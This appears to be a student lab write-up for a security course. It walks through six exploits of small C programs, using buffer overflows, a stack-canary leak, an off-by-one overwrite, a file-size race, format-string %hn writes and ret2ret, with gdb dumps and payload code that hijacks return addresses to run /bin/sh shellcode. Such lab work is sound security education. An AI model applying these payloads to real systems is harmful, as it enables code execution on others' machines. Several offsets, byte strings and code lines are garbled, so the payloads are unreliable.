### Question 2 → Spica

#### Main Idea

we can exploit this program through the fread() function which does not check the size of the file and only checks the file whenever it is empty, enabling us to write past the end of the message. We replace the saved return address (rip) upon that stack with the address of the shellcode, then insert the shellcode above it. Resulting in a buffer overflow exploit.

## Magic Numbers

We first get the address of msg buffer by typing in gdb p &buf and we get the address 0xffffda28 and the address of saved rip 0xffffdabc... The number of bytes between buffer and the rip is 0xffffdabc - 0xffffda28 = 0x94 = 148

```
(gdb) x/16x buf
0x804d1e0 <buf>:
                        0x00000000
                                         0x00000000
                                                          0x00000000
                                                                          0x00000000
0x804d1f0 <buf+16>:
                        0x00000000
                                         0x00000000
                                                          0x00000000
                                                                          0x00000000
0x804d200 <buf+32>:
                                         0x00000000
                        0x00000000
                                                          0x00000000
                                                                          0x00000000
0x804d210 <buf+48>:
                        0x00000000
                                         0x00000000
                                                          0x00000000
                                                                          0x00000000
0x804d220 <buf+64>:
                        0x00000000
                                         0x00000000
                                                          0x00000000
                                                                          0x00000000
0x804d230 <buf+80>:
                        0x00000000
                                         0x00000000
                                                          0x00000000
                                                                          0x00000000
0x804d240 <buf+96>:
                        0x00000000
                                         0x00000000
                                                          0x00000000
                                                                          0x00000000
0x804d250 <buf+112>:
                        0x00000000
                                         0x00000000
                                                          0x00000000
                                                                          0x00000000
```

```
Breakpoint 1, display (path=0xffffdc83 "navigation") at telemetry.c:21
(gdb) i f
Stack level 0, frame at 0xffffdac0:
eip = 0x8049254 in display (telemetry.c:21); saved eip = 0x80492bd
called by frame at 0xffffdaf0
source language c.
Arglist at 0xffffdab8, args: path=0xffffdc83 "navigation"
Locals at 0xffffdab8, Previous frame's sp is 0xffffdac0
Saved registers:
ebp at 0xffffdab8, eip at 0xffffdabc
```

```
size = b'\xff'
printb(size + b'A'* 148 + b'\xc0\xda\xff\xff' + SHELLCODE + b'/x0a'+ b'\n'
)
```

- b'\xff' → size of file specified
- b'A' \* 148 → fill the message with garbage to overwrite buf,
   compiler padding and the sfp.
- B'\xc0\xda\xff\xff → the Address we overwrite rip which points to shellcode and is 4 bytes above the older rip address. (0xffffdabc + 4 = 0xffffdaco)

### Question 3 → Polaris

### Main Idea

We had to first leak the stack canary in order to take advantage of the program. With the exception of setting the canary's initial value, we were able to treat the exploit like a typical buffer overflow issue once we knew the exact value of the canary. The vulnerability is found in dehexify function's c.buffer[i] which skips the i+2 and i+3 checks. The check will skip over two null bytes and print the canary until there are no more null bytes.

# Magic Numbers

First, we get the address c.buffer and c.answer

```
(gdb) p &c.buffer
$1 = (char (*)[16]) 0xffffdacc
(gdb) p &c.answer
$2 = (char (*)[16]) 0xffffdabc
```

To overwrite the canary, we had to fill the buf with padding which is 32 bytes of garbage followed by the canary address And the address of the rip is at 0xffffdaec

So, now we knw rip - c.buffer which is 0xffffdaec - 0xffffdaec = 32

# **Exploit Structure**

```
p.send(b'A'* 12 +b'\\x\n')

canary = p.recv(21)[13:17]
padding =b'A' * 32
rip = b'\xf0\xda\xff\xff'

p.send(padding + canary + b' * 12 + rip + SHELLCODE + b'\n')
# Example receive:
```

- $\rightarrow$  first send b'A'\* 12 + b'\\x\n' to the program and we will receive 21 string back so the canary = p.recv(21)[13:17] stores the value of canary
- $\rightarrow$  rip = b'\xf0\xda\xff\xff' which we found from 0xffffdaec + 4 = 0xffffdaf0
- $\rightarrow$  then fill 12 bytes of garbage to get to the rip and jump to the shellcode. then the shellcode is going to run.

```
(gdb) x/16x c.buffer
                 0x00000000
                                 0x00000000
                                                  0xffffdfe1
                                                                   0x0804cfe8
0xffffdadc:
                 0x7facb1e9
                                 0x0804d020
                                                  0x00000000
                                                                   0xffffdaf8
                 0x08049341
                                 0x00000000
                                                  0xffffdb10
                                                                   0xffffdb8c
0xffffdaec:
                 0x0804952a
                                 0x00000001
                                                  0x08049329
                                                                   0x0804cfe8
(gdb) x/16x c.answer
              0xffffdc5b
0xffffdabc:
                                0x00000002
                                                0x00000000
                                                                 0x00000000
0xffffdacc:
              0x00000000
                                0x00000000
                                                0xffffdfe1
                                                                 0x0804cfe8
              0x7facb1e9
                                0x0804d020
                                                0x00000000
                                                                 0xffffdaf8
                0x08049341
                                0x00000000
                                                0xffffdb10
                                                                 0xffffdb8c
(gdb)
```

```
called by frame at 0xffffdb10
source language c.
Arglist at 0xffffdae8, args:
Locals at 0xffffdae8, Previous frame's sp is 0xffffdaf0
Saved registers:
--Type <RET> for more, q to quit, c to continue without paging--c ebp at 0xffffdae8, eip at 0xffffdaec
(gdb)
```

### Question 4 → Vega

#### Main Idea

The index off-by-one vulnerabilities make the program vulnerable. In the flip function, the buf is written with one extra byte added to its buffer size. Additionally, the address of a saved ebp is located above buf[64]. Therefore, we can modify the last byte of the saved ebp and write pass buf[64]. Therefore, esp will transition to modified ebp. The return address will then be increased by 4 by esp. We are able to inject shell code into that return address. Therefore, esp will execute the shellcode.

# Magic Numbers

First we find the address of the shellcode using the Gdb

```
(gdb) p environ[3]
$3 = 0xffffddf9c "SHELL=/bin/sh"
(gdb) p environ[4]
$4 = 0xffffdfaa "EGG=j2X\211É\301jGX1\300Ph//shh/binT[PS\211\341\061Y\v̀"
```

The shellcode is going to be found in 0xffffdfaa + 4 = 0xffffdfae

```
native process 31325 In: main

Stack level 0, frame at 0xffffdaa0:
eip = 0x8049283 in main (flipper.c:26); saved eip = 0x804946f
source language c.
Arglist at 0xffffda98, args: argc=2, argv=0xffffdb14
Locals at 0xffffda98, Previous frame's sp is 0xffffdaa0
Saved registers:
ebp at 0xffffda98, eip at 0xffffda9c
```

By typing if, we can get the address of ebp and eip which is just above buf

## **Exploit GDB output**

```
0x00000001
                                 0x00000000
                                                  0xffffdbfb
                                                                  0x00000002
                0x00000000
                                 0x00000000
                                                 0x00000000
                                                                  0x00000000
                0xffffdfe5
                                 0xf7ffc540
                                                 0xf7ffc000
                                                                  0x00000000
                0x00000000
                                 0x00000000
                                                 0x00000000
                                                                  0x00000000
                0x00000000
                                 0x080491aa
                                                 0x0804900d
                                                                  0x00000002
                0x08049280
                                 0xffffdb20
                                                 0x0804946f
                                                                  0x00000002
0xffffdaa4:
                0xffffdb14
                                 0xffffdb20
                                                 0x0804a000
                                                                  0x00000000
```

# **Exploit Structure**

```
printb (b'A'*4 + b'\x8e\xff\xdf\xdf' + b'a'*56 +b'\x60' + b'\n')
```

- b'A' \* 4 → fills buf with 4 bytes of garabage so rip will point to the b'\x8e\xff\xdf\xdf'.
- B'\x8e\xff\xdf\xdf' → this the xor of shellcode 0xffffdfae
- And then b'a' \* 56 is 56 bytes of garabage followed by b'\x60' which will overwrite the least sig byte of sfp

Question 5 → Deneb

Main Idea

We took full advantage of the program's ability to check the file's size before reading it for this exploit. In order to read more bytes into buf than the program had originally expected, we were able to add more bytes to the file after the size check but before it is read. this is typical buffer overflow vulnerability. The shellcode was able to be inserted at the bottom of buf because it is smaller than buf in size. We did this by writing the shellcode to the file at the beginning, before the size check, and then using our standard buffer overflow exploit to change the rip so that it now points to the address of buf.

## Magic Numbers

First lets find the address of buf which is 0xffffda78

# Using if in GDB

```
Arglist at 0xffffdb08, args:
Locals at 0xffffdb08, Previous frame's sp is 0xffffdb10
Saved registers:
--Type <RET> for more, q to quit, c to continue without paging--c ebp at 0xffff
db08, eip at 0xffffdb0c
(gdb) ■
```

Eip is 0xffffdboc

After finding the eip we find the bytes between eip and buf 0xffffdboc - 0xffffda78 = 148 bytes.

Shellcode is 72 bytes .. shellcode is at the bottom of buf so 148 - 72 = 76 bytes of dummy character to overwrite the rip

```
$1 = (char (*)[128]) 0xffffda78
 (gdb) x/16x buf
0xffffda78:
                  0xdb31c031
                                     0xd231c931
                                                                         0xcdc93105
                                                       0xb05b32eb
0xffffda88:
                  0xebc68980
                                     0x3101b006
                                                       0x8980cddb
                                                                         0x8303b0f3
                  0x0c8d01ec
                                     0xcd01b224
                                                       0x39db3180
                                                                         0xb0e674c3
                  0xb202b304
                                     0x8380cd01
                                                       0xdfeb01c4
                                                                         0xffffc9e8
(gdb) x/50x buf
                0xdb31c031
                                0xd231c931
                                               0xb05b32eb
                                                               0xcdc93105
               0xebc68980
                                0x3101b006
                                               0x8980cddb
                                                               0x8303b0f3
               0x0c8d01ec
                                0xcd01b224
                                               0x39db3180
                                                               0xb0e674c3
                               0x8380cd01
                                                               0xffffc9e8
               0xb202b304
                                               0xdfeb01c4
               0x414552ff
                                0x00454d44
                                               0x41414141
                                                               0x41414141
                                               0x41414141
                                                               0x41414141
               0x41414141
                               0x41414141
                                               0x41414141
                                                               0x41414141
               0x41414141
                                0x41414141
                               0x41414141
                                                               0x41414141
               0x41414141
                                               0x41414141
               0x00000098
                               0x41414141
                                               0x41414141
                                                               0x41414141
               0x41414141
                               0xffffda78
                                               0x00000001
                                                               0x08049391
               0xffffdb9c
                               0x0804956a
                                               0x00000001
                                                               0xffffdb94
               0xffffdb9c
                               0x080510a1
                                               0x00000000
                                                               0x00000000
               0x08049548
                               0x08053fe8
(gdb)
```

```
### YOUR CODE STARTS HERE ###
newrip = b'\x78\xda\xff\xff'

with open('hack', 'wb') as f:
    f.write(SHELLCODE)
    f.close()

p.start()
assert p.recv(30) == b'How many bytes should I read? '

f = open('hack', 'ab')
f.write(b'A'*76 + newrip + b'\n')
f.close()

p.send(b'152\n')

#assert p.recv(18) == b'Here is the file!\n'
print(p.recv(12))
```

 F.write (shellcode) – By writing the shellcode into the file so that it fills 72 bytes of buf and passes the size check.

- We open the file again after the size check is complete and then we add 76 bytes of garbage.
- Next, we modify the rip so that it points to the address of the buf where our shellcode is kept.
- And then, we specify the amount of bytes (152) we have added to the file using p.send.

#### Question 6 → Antares

#### Main Idea

we're using a format string vulnerability to redirect execution to malicious shellcode. we want to redirect execution to shellcode by setting the RIP of calibrate to a shellcode address. This is our end goal.

# Magic Numbers

We first find the address of rip of calibrate which is at oxfffda1c And then we find the address of shellcode which starts with 0xcd58326a

```
(gdb) x/16x 0xffffdc62
                0xcd58326a
                                0x89c38980
                                                 0x58476ac1
                                                                  0xc03180cd
                0x2f2f6850
                                                 0x546e6962
                                                                  0x8953505b
                                0x2f686873
                0xb0d231e1
                                0x0080cd0b
                                                 0x564c4853
                                                                  0x00313d4c
                0x3d444150
                                0xffffffff
                                                 0xffffffff
                                                                  0xffffffff
```

```
eip = 0x80491eb in calibrate (calibrate.c:7); saved eip = 0x804928f called by frame at 0xffffdad0 source language c.
Arglist at 0xffffda18, args: buf=0xffffda30 ""
Locals at 0xffffda18, Previous frame's sp is 0xffffda20 Saved registers:
ebp at 0xffffda18, eip at 0xffffda1c
(gdb)
```

```
payload += b'A' * 4 # Hint: Word 0 of buffer (consumed by %__u) payload += b'X1cXdaXxffXxff' # Hint: Word 1 of buffer (consumed by %hn)
payload += b'A' * 4 # Hint: Word 2 of buffer (consumed by %__u)
payload += b'\x1e\xda\xff\xff' # Hint: Word 3 of buffer (consumed by %hn)
# Before we dive into the %hn, we need to make sure we bump our printf argument # pointer up to a point where we have write access to (e.g. somewhere in our # buffer). We can use the harmless %c to work our way up the stack. After all # of these %c's are consumed, we should expect our argument pointer to point
# to the first thing in our buffer (as noted above, "Word 0").
payload += b'%c' * 15
# Now, we're ready to dive into the %hn's. Before each %hn, we need to make sure
# we've printed the total number of bytes correctly; that's what the %__u is for. Calculate the number of "remaining" bytes to print by subtracting the # target value that we want to print from the total number of bytes we've # printed so far in the exploit. Note that each %c prints one byte.
<code>FIRST_HALF</code> = 0xfffff # The two most significant bytes of an address SECOND\_HALF = 0xdc62 # The two least significant bytes of an address
payload += b'%' + num_to_ascii(SECOND_HALF - 31) + b'u'
payload += b'%hn
payload += b'%' + num_to_ascii(FIRST_HALF -SECOND_HALF) + b'u'
payload += b'%hn'
printb(payload + b'\n')
```

- Word 0 0f buffer is 0xffffda1c
- Word 3 of buffer is 0xffffda1c + 2 = 0xffffda1e
- And we will use b'%c' \* 15 walk up the stack and skip past args[]
- we can break up our shellcode into two halves, and use the '%hn' specifier instead to write one half at a time.
- the first half and second half of the shellcode

# Question 6 → Rigel

#### Main Idea

This program can be exploited using ret2ret attack to get around ASLR, and then use a buffer overflow attack to modify the rip and add our shellcode

Overwriting the return address with a fixed address is useless with ASLR, which is the problem. Returning to an existing pointer that points into the shellcode is the goal of ret2ret.

## Magic Numbers

First we find the address of buf which is 0xffdea99c and then we find the address of rip which is 0xfffdeaa2c

We calculated the difference between the eip and buf to determine how much garbage was required to fill the buffer: ffdeaa2c – ffdea99c = 144

And we need find the address of ret command. Using the command disass main.. And its 0x080494ca

```
0x80494be <main+75>
                         mov
                                -0x10(%ebp),%eax
0x80494c1 <main+78>
                                -0x8(%ebp),%esp
                         lea
0x80494c4 <main+81>
                                %ecx
                         pop
0x80494c5 <main+82>
                                %ebx
                         pop
0x80494c6 <main+83>
                         pop
                                %ebp
0x80494c7 <main+84>
                         lea
                                -0x4(\%ecx),\%esp
0x80494ca <main+87>
                         ret
```

```
native process 1647 In: secure_gets
called by frame at 0xffdeaa70
source language c.
Arglist at 0xffdeaa28, args: err_ptr=0xffdeaa48
Locals at 0xffdeaa28, Previous frame's sp is 0xffdeaa30
Saved registers:
--Type <RET> for more, q to quit, c to continue without paging--c ebx at 0xffdeaa24, ebp at 0xffdeaa28, eip at 0xffdeaa2c
```

```
(gdb) x/16x buf
                0x00000000
                                 0x00000000
                                                  0x00000000
                                                                  0x10000000
                0x00000000
                                 0x00000002
                                                  0x00000000
                                                                  0x0804c867
                                                                  0x0804ffd8
                0x0804ffd8
                                 0xffdeaae4
                                                  0x00000001
                0x0804ba07
                                 0x00000000
                                                  0xffdea9ec
                                                                  0x00000000
                0x0804904a
                                 0x00000000
                                                                  0x000003ef
                                                 0x000003ef
                0x000003ef
                                                  0x00000000
                                                                  0x000000cc
                                 0xffffffff
                0x00000000
                                 0x00000000
                                                  0x00000000
                                                                  0x0804b9bc
                0x0804b951
                                 0x000000cc
                                                  0x000003ef
                                                                  0xffffffff
```

```
# Program start:
p.start()

# Example send:
p.send(b'\x90'* 72 + SHELLCODE + b'\xca\x94\x04\x08'+b'\n')
```

- We need nop \* 72 + shellcode which equals = 144
- Filling with 72 nop will help it reach to the shellcode because there is no instruction till it reaches to the shellcode.
- And then ret commands have to placed before the pointer.